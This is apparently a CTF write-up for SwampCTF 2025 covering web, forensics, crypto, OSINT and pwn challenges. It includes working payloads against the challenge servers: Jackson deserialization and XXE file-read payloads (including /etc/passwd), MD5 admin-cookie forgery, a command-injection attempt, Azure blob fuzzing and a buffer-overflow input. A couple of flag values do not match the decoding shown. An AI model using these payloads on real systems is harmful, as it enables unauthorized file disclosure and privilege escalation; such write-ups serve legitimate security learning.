Page cover image

Swamp CTF 2025

Hey, fellow hackers! 🏴‍☠️

This be r1pp3r of the fearsome crew P4rad0x, settin’ sail for SwampCTF 2025!. Each one is a puzzle waiting to be unraveled, a system daring us to dig deeper. ⚓️ Yo-ho, let the hunt begin! ⚔️

Web

Serialies

Challenge Description

Accessing the web app at http://chals.swampctf.com:44444 gave a “Whitelabel Error Page” — classic Spring Boot placeholder.

White label error

Luckily, the source code was available for download. That’s where the real magic began.

Inside the Java source, we found the core controller: PersonController.java

@RestController
@RequestMapping("/api/person")
public class PersonController {
    private List<Person> persons = new ArrayList<>();

    @PostMapping
    public String createPerson(@RequestBody Person person) {
        if (person.getAddress() == null) throw new IllegalArgumentException("Address is required");
        if (person.getJob() != null) {
            try {
                person.getJob().init();
            } catch (IOException e) {
                throw new RuntimeException("Error", e);
            }
        }
        persons.add(person);
        return "Person has been created with ID: " + person.getId();
    }

    @GetMapping
    public List<Person> getAllPersons() {
        return persons;
    }

    @GetMapping("/{id}")
    public Person getPersonById(@PathVariable UUID id) {
        return persons.stream().filter(p -> p.getId().equals(id)).findFirst()
                .orElseThrow(() -> new RuntimeException("Person not found"));
    }
}

💡 Interesting Observation: The Job.init() method is called if provided — and this method has access to the resumeURI field… 🔥

The application was deserializing full Java object trees from JSON input with polymorphic class support (@class). That meant we could provide custom objects and trigger method calls like job.init().

Payload to Leak Arbitrary Files:

We crafted a JSON payload to:

  1. Create a Person object.

  2. Inject a Job object with a resumeURI set to file:///flag.txt.

{
  "@class": "com.serialies.serialies.Person",
  "name": "r1pp3r",
  "age": 1,
  "address": {
    "@class": "com.serialies.serialies.Address",
    "street": "",
    "city": "",
    "state": "",
    "zipCode": "000007"
  },
  "job": {
    "@class": "com.serialies.serialies.Job",
    "title": "Hackers",
    "company": "P4rad0x",
    "salary": 99.0,
    "resumeURI": "file:///flag.txt"
  }
}

On POSTing the payload to /api/person using curl ,

curl -X POST http://<machine-ip>/api/person -H "Content-Type: application/json" -d 'payload'

The server executed init() on our injected Job, which read the contents of file:///flag.txt into the resume field.

Output: Person has been created with ID: f436db4a-ed69-4884-9cd7-7432f32d59b5

Then a simple GET /api/person retrieved all Person objects — including our injected one — and the flag was now stored in the resume field.

/api/person/f436db4a-ed69-4884-9cd7-7432f32d59b5

swampCTF{f1l3_r34d_4nd_d3s3r14l1z3_pwn4g3_x7q9z2r5v8}

Hidden Message Board

Challenge Description

In this challenge, I landed on a basic message board—nothing special at first glance. But viewing the source, I noticed a JavaScript function called checkCode() .

checkCode();

What it does:

  • It checks if an element (printFlagSetup) has a code attribute equal to G1v3M3Th3Fl@g!!!!

  • If true, it calls getFlag() and prints it

Hidden code in HTML

In the HTML source, there's a hidden tag like:

<printFlagSetup id="flagstuff" code>

So we edit the HTML in-browser:

<printFlagSetup id="flagstuff" code="G1v3M3Th3Fl@g!!!!">

Flag

Then, trigger the checkCode() function via by typing something in text area. Boom!.

swampCTF{Cr0ss_S1t3_Scr1pt1ng_0r_XSS_c4n_ch4ng3_w3bs1t3s}

Beginners Web

Challenge Description

This one had a three flag parts hidden two are encrypted on the page.

Flag - Part 1

First part was easy—it was in an HTML comment.

<!--Part 1 of the flag: w3b_"-->

Suspecting the rest might be buried in JavaScript, we dig into the browser’s Network tab and inspect the scripts being loaded. I uncover a class containing some interesting logic:

Flag - Part 2 and 3 encrypted

From this code, we can deduce:

  • The second and third segments are encrypted strings.

  • Both use AES encryption.

  • The key used to decrypt them is "flagPart2_3".

To figure out the precise decryption parameters, I need to know which crypto library was used. The script references:

var $n = Yp(Sp());

Following the definition of Sp, we can see it loads a variety of modules:

"./core", "./enc-base64", "./md5", "./evpkdf", "./cipher-core", "./aes", ...

I wrote a quick Python script using pycryptodome to decrypt the base64 strings. Turns out they were using OpenSSL-compatible AES-CBC with salt.

from base64 import b64decode
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
from hashlib import md5

# Given key
key_str = "flagPart2_3".encode()  # Convert to bytes

# Given encrypted values (Base64 encoded)
enc_flag2_b64 = "U2FsdGVkX1/oCOrv2BF34XQbx7f34cYJ8aA71tr8cl8="
enc_flag3_b64 = "U2FsdGVkX197aFEtB5VUIBcswkWs4GiFPal6425rsTU="

# Decode Base64 to get encrypted bytes
enc_flag2 = b64decode(enc_flag2_b64)
enc_flag3 = b64decode(enc_flag3_b64)

# Derive Key and IV using OpenSSL's EVP_BytesToKey method
def evp_kdf(password, salt, key_len=32, iv_len=16):
    """Derives key and IV from password and salt using OpenSSL's method."""
    d = md5(password + salt).digest()
    final_key = d
    while len(final_key) < (key_len + iv_len):
        d = md5(d + password + salt).digest()
        final_key += d
    return final_key[:key_len], final_key[key_len:key_len+iv_len]


# OpenSSL "Salted__" format handling
# The salt for flag2 and flag3 differs
# Extract salt from flagPart2
assert enc_flag2[:8] == b"Salted__", "Unexpected format"
salt = enc_flag2[8:16]  # Extract salt (next 8 bytes)
# Extract salt from flagPart3
assert enc_flag3[:8] == b"Salted__", "Unexpected format"
salt2 = enc_flag3[8:16]  # Extract salt

# Derive key and IV
key, iv = evp_kdf(key_str, salt)
key2, iv2 = evp_kdf(key_str, salt2)

def decrypt_raw(enc, key, iv):
    """Decrypts AES-CBC encrypted data without removing padding."""
    cipher = AES.new(key, AES.MODE_CBC, iv)
    return cipher.decrypt(enc[16:]) 

raw_flag2 = decrypt_raw(enc_flag2, key, iv)
raw_flag3 = decrypt_raw(enc_flag3, key2, iv2)

print(raw_flag2, raw_flag3)

Final Flags:

  • Part 2: br0w53r5_4r3_

  • Part 3: c0mpl1c473d

So full flag was:

swampCTF{w3b_br0w53r5_4r3_c0mpl1c473d}

Editor

Challenge Description

In this challenge, it was a WYSIWYG HTML editor. The challenge description hinted that the flag was in /flag.txt, but direct access was blocked.

Editor Website

Since the editor lets you inject HTML, I just typed:

<a href="flag.txt">flag</a>
Flag in anchor tag <a>

And clicked it right there in the rendered output, the file loaded.

Flag

swampCTF{c55_qu3r135_n07_j5}

SwampTech Solutions

Challenge Description

This one was juicier. I start off with a page where SwampTech Solutions welcoming us. Below the welcome message there is a login page for SwampTech employee

SwampTech Website

Inspection the login page gives us the guest creds guest:iambutalowlyguest

Guest Login Creds

After logging in as guest, there is a button says if you are an admin, visit the admin page instead .

I am a guest now, but I liked to escalate privileges. I noticed a cookie named user .

Guest Dashboard

user:084e0343a0486ff05530df6c705c8bb4 Looks suspiciously like an MD5 hash. A quick hash lookup tells us it’s MD5("guest").

user cookie

So, I created a MD5 hash of "admin" and stored it in the value of user cookie. user:21232f297a57a5a743894a0e4a801fc3 . Changing the cookie to this gives us full admin access.

Admin Dashboard

Inside the admin panel, there were several functionalities:

  • A file checker form

  • And API Action

Commented note

This feature is added for the intern in the SwampTech Solutions.

The file checker form says the "flag.txt" file exists in the current directory. But just checking file existence doesn't help us actually read it. So I tried some classic tricks like:

flag.txt; cat flag.txt . No Luck!

Hidden Form Element

Digging into the HTML source, I found a form that was simply marked hidden via CSS. It was a feedback form asking for name and email , action directs to process.php

I edited the HTML tag and submitted the form. Everything seems normal, but what stood out is how it submitted the data — as XML. Also the name value is reflected in the response.

XML form post
<root>
  <name>Albert Albert</name>
  <email>albert@swamptech.com</email>
</root>

This is a red flag!, for potential XXE vulnerabilities. When applications parse XML without proper configuration, attackers can inject external entities and access local files on the server.

To test for XXE, I crafted a basic payload to try reading /etc/passwd:

<!DOCTYPE root [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]><root>
    <name>&xxe;</name>
    <email>Albert@swamptech.com</email>
</root>
XXE exploited

Submitted it… and boom! The contents of /etc/passwd were reflected in the response. Confrimed XXE vulnerability.

Now that we confirmed file access via XXE, the next goal was to grab flag.txt. Unfortunately, it threw an error. Because:

  • The server is running on PHP and uses stream wrappers

So, let's try the PHP filter trick to base64 encode the output so we can safely read it:

<!DOCTYPE root [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=flag.txt"> ]><root>
    <name>&xxe;</name>
    <email>Albert@swamptech.com</email>
</root>
flag in base64

Success! It returned a base64 string: c3dhbXBDVEZ7VzByazFOZ19DSDQxTDVfPHI+X0Z1Tn0K

swampCTF{W0rk1Ng_CH41L5__FuN}

Forensics

Homework Help

Challenge Description

I am provided with a .vhd file—essentially a virtual hard disk commonly used by virtual machines. The objective was to recover deleted data from this disk image. I booted up the Autopsy tool

Autopsy is a digital forensics tool that allows you to analyze disk images in a user-friendly graphical interface. It’s widely used by security professionals to:

  • View file system structures

  • Recover deleted files

  • Analyze timelines, user activity, and more

Autopsy - Deleted files

I loaded the .vhd file into Autopsy as a new case. After navigated through the filesystem view to the "Deleted Files" section. I noticed an interesting file called Hacking Notes.docx

Opened the document within Autopsy’s viewer and Boom! — found the flag

swampCTF{n0thing_i5_3v3r_d3l3t3d}

Preferential Treatment

Challenge Description

This challenge handed us a .pcap (packet capture) file. The task was to extract a password from the captured network traffic.

First I opened the .pcap file in Wireshark and filtered traffic for SMB (Server Message Block) protocol, commonly used for file sharing in Windows environments.

Wireshark - cpassword

There I spotted a groups.xml file transferred in the SMB stream and I followed the TCP stream to extract the file contents. The contents of the xml file has a interesting variable:

cpassword=dAw7VQvfj9rs53A8t4PudTVf85Ca5cmC1Xjx6TpI/cS8WD4D8DXbKiWIZslihdJw3Rf+ijboX7FgLW7pF0K6x7dfhQ8gxLq34ENGjN8eTOI=

This cpassword field is an obfuscated password stored in the Windows Group Policy Preferences (GPP). It’s not truly encrypted—it uses a known AES key embedded in Microsoft documentation. Hence, it’s easily reversible.

Used the tool gpp-decrypt to decode it.

 r1pp3r 🔱 god2eye ~/Downloads/tools-kit/gpp-decrypt on master 
  λ python3 gpp-decrypt.py -c "dAw7VQvfj9rs53A8t4PudTVf85Ca5cmC1Xjx6TpI/cS8WD4D8DXbKiWIZslihdJw3Rf+ijboX7FgLW7pF0K6x7dfhQ8gxLq34ENGjN8eTOI="

                               __                                __ 
  ___ _   ___    ___  ____ ___/ / ___  ____  ____  __ __   ___  / /_
 / _ `/  / _ \  / _ \/___// _  / / -_)/ __/ / __/ / // /  / _ \/ __/
 \_, /  / .__/ / .__/     \_,_/  \__/ \__/ /_/    \_, /  / .__/\__/ 
/___/  /_/    /_/                                /___/  /_/         

[ * ] Password: swampCTF{4v3r463_w1nd0w5_53cur17y}

swampCTF{4v3r463_w1nd0w5_53cur17y}

Cryptography

Rock my password

Challenge Description

In this challenge, I am provided with a long hash string and tasked with reversing it to reveal the original password.

Our goal was to recover the plaintext password and submit it in the format swampCTF{password}.

f600d59a5cdd245a45297079299f2fcd811a8c5461d979f09b73d21b11fbb4f899389e588745c6a9af13749eebbdc2e72336cc57ccf90953e6f9096996a58dcc

I am told that:

  • The password is 10 characters long

  • It's sourced from the popular wordlist: rockyou.txt

First step, To make the cracking process more efficient, I filtered rockyou.txt to include only those passwords that are exactly 10 characters long.

awk 'length($0) == 10' /usr/share/wordlists/rockyou.txt > rockyou10.txt

This significantly reduced the number of candidates for our brute-force attempt:

cat rockyou10.txt
1234567890
basketball
tinkerbell
hellokitty
0123456789
volleyball
chrisbrown
strawberry
qwertyuiop
sweetheart
...

Next Step is to find the password, based on the challenge description, I reverse-engineered the hashing logic:

  • First, the password is wrapped like this: swampCTF{password}

  • The resulting string is hashed:

    1. 100 times with MD5

    2. 100 times with SHA-256

    3. 100 times with SHA-512

The final hash result must match the one provided in the challenge.

I wrote a Python script to automate this layered hashing process:

import hashlib

def hash100times(password):
    s = f"swampCTF{{{password}}}".encode()
    for i in range(100):
        md5 = hashlib.md5()
        md5.update(s)
        s = md5.digest()
    for i in range(100):
        sha256 = hashlib.sha256()
        sha256.update(s)
        s = sha256.digest()
    for i in range(100):
        sha512 = hashlib.sha512()
        sha512.update(s)
        s = sha512.digest()
    return s.hex()

given_hash = "f600d59a5cdd245a45297079299f2fcd811a8c5461d979f09b73d21b11fbb4f899389e588745c6a9af13749eebbdc2e72336cc57ccf90953e6f9096996a58dcc"

f = open('rockyou10.txt', 'r', errors='ignore')
passwords = f.readlines()
for password in passwords:
    password = password.strip('\n')
    hash1 = hash100times(password)
    if hash1 == given_hash:
        print(f"Found Match: swampCTF{{{password}}}")
f.close()

Running the script yielded the matching password:

swampCTF{secretcode}

Misc

Pretty Picture: Double Exposure

Challenge Description

In this challenge, I am given a suspiciously small PNG image named double-exposure.png along with the following hint:

"Hidden in the bits below, an image waits to be shown."

This says it is a steganography challenge right away. The challenge name, "Double Exposure" hinted at hidden content layered within the pixel structure, possibly in the individual RGB bit planes.

To start off, I ran exiftool to analyze the image metadata:

 r1pp3r 🔱 god2eye ~/Documents/CTF/swampctf25/misc 
  λ exiftool double-exposure.png 
ExifTool Version Number         : 12.76
File Name                       : double-exposure.png
Directory                       : .
File Size                       : 5.9 kB
File Modification Date/Time     : 2025:03:30 01:07:54+05:30
File Access Date/Time           : 2025:03:30 01:09:34+05:30
File Inode Change Date/Time     : 2025:03:30 01:09:34+05:30
File Permissions                : -rwxrwx---
File Type                       : PNG
File Type Extension             : png
MIME Type                       : image/png
Image Width                     : 200
Image Height                    : 200
Bit Depth                       : 8
Color Type                      : RGB with Alpha
Compression                     : Deflate/Inflate
Filter                          : Adaptive
Interlace                       : Noninterlaced
SRGB Rendering                  : Perceptual
Image Size                      : 200x200
Megapixels                      : 0.040

Nothing out of the ordinary popped up. It was a simple 200x200 PNG with RGBA color and 8-bit depth.

Then I turned to Stegsolve, a classic steganography analysis tool used to visualize different color and bit planes of an image.

Stegsolve - flag reveal

Mostly the flag was visible in the all the planes but a little blurry. After cycling through the RGB planes manually for visible flag:

  • Green Plane 0 exposed part 1 of the flag.

  • Red Plane 1 exposed part 2 of the flag.

Stegsolve - Flag 1
Stegsolve - Flag 2

Each plane revealed a segment of the full flag, but neither alone gave the full picture. When I combined the revealed segments:

swampCTF{m3ss4g3s_0r_c0de_c4n_b3_h1dd3n_1n_1m4g3s}

Blue

Challenge Description

The "Blue" challenge dropped me into the world of Azure Blob Storage with very little to go on: just a name—swampctf—and a nudge that this involved Azure cloud infrastructure.

This is a very interesting challenge and I learned something new in this challenge.

Without login credentials or internal access, this was a black-box challenge, and the key lay in discovering misconfigured public blob storage and this excellent reference saved the day:

Reference: Azure Pentesting – Exploiting Anonymous Access to Blob Storage

Step 1: Probe Known Containers

I tested for the existence of the default $logs container, which is automatically created in many Azure storage accounts:

https://swampctf.blob.core.windows.net/$logs?restype=container&comp=list

/$logs

This returned a response with ResourceNotFound This message confirming anonymous access was enabled for this storage account. That meant other containers could potentially be listed or accessed.

“PublicAccessNotPermitted” message when the anonymous access is disabled

Step 2: Bruteforce Container Names

With this in mind, I used ffuf to fuzz for more blob container names:

ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt \
     -u https://swampctf.blob.core.windows.net/FUZZ?restype=container&comp=list

Boom! I discovered a container named test with status 200 OK, meaning it was publicly accessible.

Step 3: Explore Discovered Container

Navigating to: https://swampctf.blob.core.windows.net/test

/test

I found a file inside. Opening it revealed the flag!

swampCTF{345y_4zur3_bl0b_020525}

Osint

Party Time!

Challenge Description

In this challenge, I am provided with a .HEIC image file titled party_time.HEIC, and the goal was to determine the GPS coordinates of where the picture was taken.

.HEIC is a High-Efficiency Image Format used commonly by iPhones. These files often retain rich metadata, including GPS data, which can be useful for forensic or OSINT analysis.

I used the exiftool utility to inspect the image file:

 r1pp3r 🔱 god2eye ~/Documents/CTF/swampctf25/osint 
  λ exiftool party_time.HEIC 
ExifTool Version Number         : 12.76
File Name                       : party_time.HEIC
Directory                       : .
File Size                       : 755 kB
File Modification Date/Time     : 2025:03:30 10:18:26+05:30
File Access Date/Time           : 2025:03:30 10:26:57+05:30
File Inode Change Date/Time     : 2025:03:30 10:26:57+05:30
File Permissions                : -rwxrwx---
File Type                       : HEIC
File Type Extension             : heic
MIME Type                       : image/heic
Major Brand                     : High Efficiency Image Format HEVC still image (.HEIC)
Minor Version                   : 0.0.0
Compatible Brands               : mif1, MiHE, MiPr, miaf, MiHB, heic
Handler Type                    : Picture
Primary Item Reference          : 49
Meta Image Size                 : 4032x3024 0 515 2016 1512
XMP Toolkit                     : XMP Core 6.0.0
HDR Gain Map Version            : 65536
Exif Byte Order                 : Big-endian (Motorola, MM)
Make                            : Apple
[...]
Media Data Offset               : 5231
Run Time Since Power Up         : 1 days 5:20:00
Aperture                        : 2.2
Image Size                      : 4032x3024
Megapixels                      : 12.2
Scale Factor To 35 mm Equivalent: 6.3
Shutter Speed                   : 1/30
Create Date                     : 2025:03:26 20:09:20.309-04:00
Date/Time Original              : 2025:03:26 20:09:20.309-04:00
Modify Date                     : 2025:03:26 20:09:20-04:00
GPS Altitude                    : 49.4 m Above Sea Level
GPS Date/Time                   : 2025:03:27 00:09:19Z
GPS Latitude                    : 29 deg 39' 10.32" N
GPS Longitude                   : 82 deg 19' 59.68" W
Circle Of Confusion             : 0.005 mm
Field Of View                   : 104.3 deg
Focal Length                    : 2.2 mm (35 mm equivalent: 14.0 mm)
GPS Position                    : 29 deg 39' 10.32" N, 82 deg 19' 59.68" W
Hyperfocal Distance             : 0.47 m
Light Value                     : 3.2
Lens ID                         : iPhone 14 Pro Max back triple camera 2.22mm f/2.2
  • Among the metadata fields, we found the GPS information:

    • GPS Latitude: 29 deg 39' 10.32" N

    • GPS Longitude: 82 deg 19' 59.68" W

Google Maps - Location

Plugging these coordinates into Google Maps pinpointed a location in Florida.

The challenge asked for the coordinates in decimal format (approx):

swampCTF{29.39,82.19}

Party Time! Level 2

Challenge Description

This was a continuation of the previous challenge, where the task was to identify the nearest fast-food restaurant to the discovered GPS coordinates.

Google Maps - Nearest Fastfood spot

From the previous location, I looked up nearby eateries using Google Maps and all I found closest fast-food chain to the location is turned out to be Checkers.

Google Maps - Shop Review

Upon checking the Google Maps reviews for the Checkers location, one of the reviews cheekily contained the flag.

swampCTF{Checkers_Yum}

Pwn

Beginner Pwn

Challenge Description

In this challenge, I am provided with a binary file and the corresponding C source code.

This program simulates a basic login scenario. It requests a username input and determines whether the user is an administrator based on a bool is_admin flag. If the user is marked as an admin, they are granted access to view the flag.

However, due to poor memory handling and lack of input validation, this binary is vulnerable to a classic stack-based buffer overflow.

The vulnerability lies in the following declaration within the main() function:

bool is_admin = false;
char username[10] = "XXXXXXXXXX"; // 10-byte buffer

Here, the local variables are laid out sequentially on the stack:

[ username (10 bytes) ][ is_admin (1 byte + padding) ][ choice (2 bytes) ]

Then, the user input is collected via scanf("%s", username);. This format specifier does not limit input length, meaning the user can overflow the 10-byte username buffer and overwrite adjacent stack memory—including the is_admin flag.

print_stack()

This debug function prints the contents of 14 bytes on the stack (from username[0] through is_admin[3]) in reverse, helping visualize how the overflow corrupts memory:

print_stack(&username, 13);

This is useful both for debugging and for seeing how overflowing characters affect memory past the intended buffer boundary.

Because the program does not bound the input, an attacker can input more than 10 bytes to overflow into the is_admin flag. In C, any non-zero value will evaluate as true for a boolean check, so simply writing 'A' (0x41) past username[9] is sufficient.

Example Exploit Input:

We initiated a connection to the remote challenge server using netcat:

r1pp3r 🔱 god2eye ~/Documents/CTF/swampctf25/pwn/beginner_pwn1 
  λ nc chals.swampctf.com 40004
At it\'s most basic, a computer exploit is finding a loophole in a programs logic which can cause unintended behavior. In this program, we demonstrate how buffer overflows can corrupt local variables.

To log into this system, please enter your name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
--- Print Stack ---
0x41 (A) = is_admin[3]
0x41 (A) = is_admin[2]
0x41 (A) = is_admin[1]
0x41 (A) = is_admin[0]
0x41 (A) = username[9]
0x41 (A) = username[8]
0x41 (A) = username[7]
0x41 (A) = username[6]
0x41 (A) = username[5]
0x41 (A) = username[4]
0x41 (A) = username[3]
0x41 (A) = username[2]
0x41 (A) = username[1]
0x41 (A) = username[0]
--- End Print ---
Hello, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA!
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA is admin
Because the program accepts more characters then it has space to hold, you are able to corrupt the is_admin boolean. And because in C, any Boolean value that isn't 0 is considered "True", it lets you through!
Do you want to print the flag? (y/n) y
Here is your flag! swampCTF{n0t_@11_5t@ck5_gr0w_d0wn}
Exiting!

Because the program accepts more characters then it has space to hold, you are able to corrupt the is_admin boolean. And because in C, any Boolean value that isn't 0 is considered "True", it lets you through!

Now, is_admin becomes true, and the user gains access to the flag:

swampCTF{n0t_@11_5t@ck5_gr0w_d0wn}

Last updated